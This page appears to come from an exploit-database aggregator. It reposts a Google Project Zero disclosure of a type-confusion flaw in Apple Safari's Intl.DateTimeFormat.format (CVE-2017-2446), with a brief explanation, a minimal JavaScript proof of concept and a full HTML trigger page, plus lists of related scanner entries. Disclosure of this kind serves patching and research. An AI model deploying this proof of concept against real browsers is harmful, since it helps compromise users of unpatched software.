Apple Safari - DateTimeFormat.format Type Confusion Exploit

🗓️ 28 Mar 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 42 Views

Type Confusion vulnerability in DateTimeFormat.format functio

Reporter	Title	Published	Views	Family All 41
0day.today	Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode Exploit	28 Mar 201700:00	–	zdt
Tenable Nessus	Safari < 10.1 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2 Multiple Vulnerabilities	2 Apr 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2 Multiple Vulnerabilities	10 Apr 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Ubuntu 16.04 LTS : WebKitGTK+ vulnerabilities (USN-3257-1)	11 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2446	25 Aug 202500:00	–	nessus

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036
 
There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.
 
A minimal PoC is as follows, and a full PoC is attached. 
 
 
var i = new Intl.DateTimeFormat();
var q;
 
function f(){
    q = f.caller;
    return 10;
}
 
 
i.format({valueOf : f});
 
q.call(0x77777777);
-->
 
<html>
<body>
<script>
 
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
 
var i = new Intl.DateTimeFormat();
 
//print(i);
 
var q;
 
function f(){
 
    //print("in f");
    //print(f.caller);
    q = f.caller;
    return 10;
}
 
try{
i.format({valueOf : f});
}catch(e){
 
    //print("problem");
 
}
 
//print(q);
q.call(0x77777777);
 
</script>
</body>
</html>

#  0day.today [2018-01-04]  #

28 Mar 2017 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.25094